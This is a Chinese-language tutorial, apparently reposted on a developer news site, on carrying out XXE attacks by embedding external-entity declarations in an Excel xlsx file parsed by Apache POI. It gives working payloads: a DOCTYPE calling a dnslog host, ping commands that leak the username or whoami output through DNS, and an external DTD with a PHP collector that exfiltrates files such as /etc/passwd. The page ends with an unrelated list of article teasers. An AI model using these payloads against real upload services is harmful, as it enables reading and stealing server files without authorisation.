利用EXCEL进行XXE攻击

0X00 前言

CTF 选手都清楚我们像 word 文档格式改成 zip 格式后,再解压缩可以发现其中多数是描述工作簿数据、元数据、文档信息的 XML 文件。实际上,与所有 post-Office 2007 文件格式一样,现代 Excel 文件实际上只是 XML 文档的 zip 文件。这称为 Office Open XML 格式或 OOXML。
许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析 XML。如果解析器未安全配置,则 XXE 几乎是不可避免的。

0X01 XXE 漏洞的工作原理

许多网站允许上传 / 导入文件,处理文件内部数据一般都会解析 XML,如 Word 文档、Excel 表格等。这些文件通常以 ZIP 格式存储,将多个 XML 文件和其他资源整合其中。一旦这些文件被上传,服务器通常会对其内容进行解析和处理。
然而,如果服务器在处理这些文件时未能正确配置 XML 解析器,就可能导致 XXE(XML 外部实体)漏洞。这种漏洞允许攻击者通过精心构造的 EXCEL 文件,利用解析器的特性来进行恶意操作。

XXE 漏洞的主要原理在于 XML 解析器对外部实体的处理。当攻击者上传包含外部实体引用的恶意 XML 文件时,如果解析器没有被适当地配置,它可能会试图解析这些外部实体,导致以下潜在风险:

  1. 文件泄露: 攻击者可以利用 XXE 漏洞访问服务器上的敏感文件。例如,通过构造一个包含对 /etc/passwd 文件的外部实体引用的 XML 文件,攻击者可能能够泄露系统中的用户信息。
  2. 远程代码执行: 在某些情况下,攻击者可以通过 XXE 漏洞实现远程代码执行,尤其是在 XML 解析器支持 DTD(文档类型定义)并允许外部实体执行的情况下。
  3. 拒绝服务攻击: 攻击者可以构造一个复杂的 XML 文件,消耗过多的系统资源,导致服务拒绝。

0X02 测试环境搭建

大多数应用程序似乎都将xl / workbook.xml放入其XML解析器中以获取工作表列表,然后分别读取每个工作表以获取单元格内容。
xls与xlsx格式不同,xls是特有的二进制格式,其核心结构是复合文档类型,而xlsx的核心结构是XML类型,采用基于XML的压缩方式。xls格式文件无法插入payload进行XXE攻击。
测试的时候,根据功能点,docx,xlsx都可以尝试。

暂时没有合适的站点测一下,我们可以本地先起一个简单的程序制造一个合适的xslx文件测试

1. 添加 Apache POI 依赖

pom.xml 中添加 Apache POI 相关依赖:

<!-- Apache POI 用于读取 Excel 文件 -->
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>3.8</version>
</dependency>

2. 修改xslx

利用bandzip打开xslx文件,找到Content_Types.xml文件,添加外部实体如下:
实体的值:

<!DOCTYPE ANY [<!ENTITY % d SYSTEM "http://your-dnslog_address">%d;
]>

3. 测试代码(读取Excel文件)

运行时将路径改为自身excel文件路径即可开始运行

package com.itkim.tool;import org.apache.poi.xssf.usermodel.XSSFRow;
import org.apache.poi.xssf.usermodel.XSSFSheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;import java.io.FileInputStream;/*** @description: 读取Excel文件* @author: KimJun* @date: 19.10.5 23:27*/
public class ExcelData {private XSSFSheet sheet;/*** 构造函数,初始化excel数据** @param filePath  excel路径* @param sheetName sheet表名*/ExcelData(String filePath, String sheetName) throws Exception {FileInputStream fileInputStream = null;fileInputStream = new FileInputStream(filePath);XSSFWorkbook sheets = new XSSFWorkbook(fileInputStream);//获取sheetsheet = sheets.getSheet(sheetName);}//打印excel数据public void readExcelData() {//获取行数int rows = sheet.getPhysicalNumberOfRows();for (int i = 0; i < rows; i++) {//获取列数XSSFRow row = sheet.getRow(i);int columns = row.getPhysicalNumberOfCells();for (int j = 0; j < columns; j++) {String cell = row.getCell(j).toString();System.out.println(cell);}}}//测试方法public static void main(String[] args) throws Exception {ExcelData sheet1 = new ExcelData("C:\\Users\\I\\Desktop\\test3.xlsx", "Sheet1");sheet1.readExcelData();}
}

0x03 测试

1. dnslog测试数据带外

运行代码后会爆一堆错误,这个时候翻看发现有成功访问dnslog的记录,文件既成功制作,且站点存在漏洞

这个时候可以分系统测试是否能数据

windows

ping %USERNAME%.riz3cq.dnslog.cn

linux

ping `whoami`.lfryol.dnslog.cn

2. 外部引用实体dtd

下面的地址我们在实际中肯定都是放到我们的vps里的

利用bandzip打开xslx文件,找到Content_Types.xml文件,修改外部实体如下:
实体的值:

<!DOCTYPE ANY[
//如果目标有中文可用编码绕过
//<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd">
%remote;
%all;
]>

起一个web服务,路径下创建一个.dtd文件,内容为实际所需读取文件如

windows:

"C:\Windows\system.ini"

linux

"/etc/passwd"

dtd内容如下

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">

再写一个get.php 用于读取文件后写入

<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

成功读取到文件并写入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/3135.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在Mac mini上实现本地话部署AI和知识库

在Mac mini上实现本地话部署AI和知识库 硬件要求&#xff1a;大模型AI&#xff0c;也叫LLM&#xff0c;需要硬件支持&#xff0c;常见的方式有2种&#xff1a;一种是采用英伟达之类支持CUDA库的GPU芯片或者专用AI芯片&#xff1b;第二种是采用苹果M系列芯片架构的支持统一内存架…

鸿蒙UI(ArkUI-方舟UI框架)-开发布局

文章目录 开发布局1、布局概述1&#xff09;布局结构2&#xff09;布局元素组成3&#xff09;如何选择布局4&#xff09;布局位置5&#xff09;对子元素的约束 2、构建布局1&#xff09;线性布局 (Row/Column)概述布局子元素在排列方向上的间距布局子元素在交叉轴上的对齐方式(…

指针的进阶

指针的主题&#xff0c;我们在初级阶段的《指针》章节已经接触过了&#xff0c;我们知道了指针的概念&#xff1a; 1. 指针就是个变量&#xff0c;用来存放地址&#xff0c;地址唯一标识一块内存空间。 2. 指针的大小是固定的4/8个字节&#xff08;32位平台/64位平台&#xff0…

B站评论系统的多级存储架构

1. 背景 评论是 B站生态的重要组成部分&#xff0c;涵盖了 UP 主与用户的互动、平台内容的推荐与优化、社区文化建设以及用户情感满足。B站的评论区不仅是用户互动的核心场所&#xff0c;也是平台运营和用户粘性的关键因素之一&#xff0c;尤其是在与弹幕结合的情况下&#xf…

若依分页插件失效问题

若依对数据二次处理导致查询total只有十条的问题处理办法_若依分页查询total-CSDN博客

css盒子水平垂直居中

目录 1采用flex弹性布局&#xff1a; 2子绝父相margin&#xff1a;负值&#xff1a; 3.子绝父相margin:auto&#xff1a; 4子绝父相transform&#xff1a; 5通过伪元素 6table布局 7grid弹性布局 文字 水平垂直居中链接&#xff1a;文字水平垂直居中-CSDN博客 以下为盒子…

Golang Gin系列-3:Gin Framework的项目结构

在Gin教程的第3篇&#xff0c;我们将讨论如何设置你的项目。这不仅仅是把文件扔得到处都是&#xff0c;而是要对所有东西的位置做出明智的选择。相信我&#xff0c;这些东西很重要。如果你做得对&#xff0c;你的项目会更容易处理。当你以后不再为了找东西或添加新功能而绞尽脑…

03JavaWeb——Ajax-Vue-Element(项目实战)

1 Ajax 1.1 Ajax介绍 1.1.1 Ajax概述 我们前端页面中的数据&#xff0c;如下图所示的表格中的学生信息&#xff0c;应该来自于后台&#xff0c;那么我们的后台和前端是互不影响的2个程序&#xff0c;那么我们前端应该如何从后台获取数据呢&#xff1f;因为是2个程序&#xf…

【无法下载github文件】虚拟机下ubuntu无法拉取github文件

修改hosts来进行解决。 步骤一&#xff1a;打开hosts文件 sudo vim /etc/hosts步骤二&#xff1a;查询 github.com的ip地址 https://sites.ipaddress.com/github.com/#ipinfo将github.com的ip地址添加到hosts文件末尾&#xff0c;如下所示。 140.82.114.3 github.com步骤三…

【Idea启动项目报错NegativeArraySizeException】

项目场景&#xff1a; Idea启动项目报错&#xff08;打包不报错&#xff09;&#xff0c;项目在服务器部署运行没有问题&#xff0c;尝试了重启idea、重启电脑、maven clean/install 都不行 maven-resources-production:sample: java.lang.NegativeArraySizeException: -5833…

【 MySQL 学习2】常用命令

文章目录 一、基础命令1.1、登录1.2 、退出1.3、查看数据库中有哪些数据库1.4 、选择使用的数据库1.5、创建数据库1.6 查看哪个数据库下有哪些表 二、SQL语句的分类2.1 DQL 数据查询语言2.2 DML 数据操作语言2.3 DDL 数据定义语言2.4 TCL 事物控制语言2.5 DCL 数据控制语言 三、…

JVM直击重点

JVM直击重点 JVM内存模型 JVM中类加载器分类与核心功能 Java里有如下几种类加载器 引导类加载器&#xff1a;负责加载支撑JVM运行的位于JRE的lib目录下的核心类库&#xff0c;比如rt.jar、charsets.jar等 扩展类加载器&#xff1a;负责加载支撑JVM运行的位于JRE的lib目录下的e…

图数据库 | 18、高可用分布式设计(中)

上文我们聊了在设计高性能、高可用图数据库的时候&#xff0c;从单实例、单节点出发&#xff0c;一般有3种架构演进选项&#xff1a;主备高可用&#xff0c;今天我们具体讲讲分布式共识&#xff0c;以及大规模水平分布式。 主备高可用、分布式共识、大规模水平分布式&#xff…

【常见BUG】Spring Boot 和 Springfox(Swagger)版本兼容问题

???欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学习,不断总结,共同进步,活到老学到老…

关于vite+vue3+ts项目中env.d.ts 文件详解

env.d.ts 文件是 Vite 项目中用于定义全局类型声明的 TypeScript 文件。它帮助开发者向 TypeScript提供全局的类型提示&#xff0c;特别是在使用一些特定于 Vite 的功能时&#xff08;如 import.meta.env&#xff09;。以下是详细讲解及代码示例 文章目录 **1. env.d.ts 文件的…

数字化时代,传统代理模式的变革之路

在数字化飞速发展的今天&#xff0c;线上线下融合&#xff08;O2O&#xff09;成了商业领域的大趋势。这股潮流&#xff0c;正猛烈冲击着传统代理模式&#xff0c;给它带来了新的改变。 咱们先看看线上线下融合现在啥情况。线上渠道那是越来越多&#xff0c;企业纷纷在电商平台…

接口测试自动化实战(超详细的)

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 前言 自从看到阿里云性能测试 PTS 接口测试开启免费公测&#xff0c;就想着跟大家分享交流一下如何实现高效的接口测试为出发点&#xff0c;本文包含了我在接口测…

意图颠覆电影行业的视频生成模型:Runway的Gen系列

大家好&#xff0c;这里是好评笔记&#xff0c;公主号&#xff1a;Goodnote&#xff0c;专栏文章私信限时Free。本文详细介绍Runway开发的视频生成模型Gen系列&#xff0c;包括Gen-1、Gen-2和Gen3 Alpha等&#xff0c;这些模型每次发布都震惊AI圈&#xff0c;荣获多个视频生成的…

ant design vue的级联选择器cascader的悬浮层样式怎么修改

平时想要修改组件内定样式会使用穿透deep和&#xff01;important调优先级&#xff0c;但是在这里都不行&#xff0c;样式都不能改变 后来尝试出来是因为加了scoped&#xff0c;样式不起作用&#xff0c;但是不能直接去掉scoped&#xff0c;别的样式会受到影响&#xff0c;单独…

linux手动安装mysql5.7

一、下载mysql5.7 1、可以去官方网站下载mysql-5.7.24-linux-glibc2.12-x86_64.tar压缩包&#xff1a; https://downloads.mysql.com/archives/community/ 2、在线下载&#xff0c;使用wget命令&#xff0c;直接从官网下载到linux服务器上 wget https://downloads.mysql.co…